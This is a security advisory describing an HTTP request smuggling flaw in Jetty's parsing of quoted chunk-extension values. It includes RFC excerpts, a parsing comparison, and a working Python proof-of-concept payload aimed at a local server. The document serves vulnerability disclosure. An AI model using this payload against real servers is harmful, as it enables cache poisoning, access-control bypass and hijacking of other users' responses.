GHSA-355h-qmc2-wpwf

### Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

### Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

### Technical Details

**RFC 9112 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ```

**RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ```

A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes.

### Vulnerability

Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error.

**Expected (RFC compliant):** ``` Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n] ```

**Actual (jetty):** ``` Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request ```

### Proof of Concept

```python #!/usr/bin/env python3 import socket

payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)

response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break

sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ```

**Result:** Server returns 2 HTTP responses from a single TCP connection.

#### Parsing Breakdown

| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |

### Impact

- **Request Smuggling**: Attacker injects arbitrary HTTP requests - **Cache Poisoning**: Smuggled responses poison shared caches - **Access Control Bypass**: Smuggled requests bypass frontend security - **Session Hijacking**: Smuggled requests can steal other users' responses

### Reproduction

1. Start the minimal POC with docker 2. Run the poc script provided in same zip

### Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

### Patches No patches yet.

### Workarounds No workarounds yet.

### References

- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) - Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html - details for security versions https://jetty.org/security.html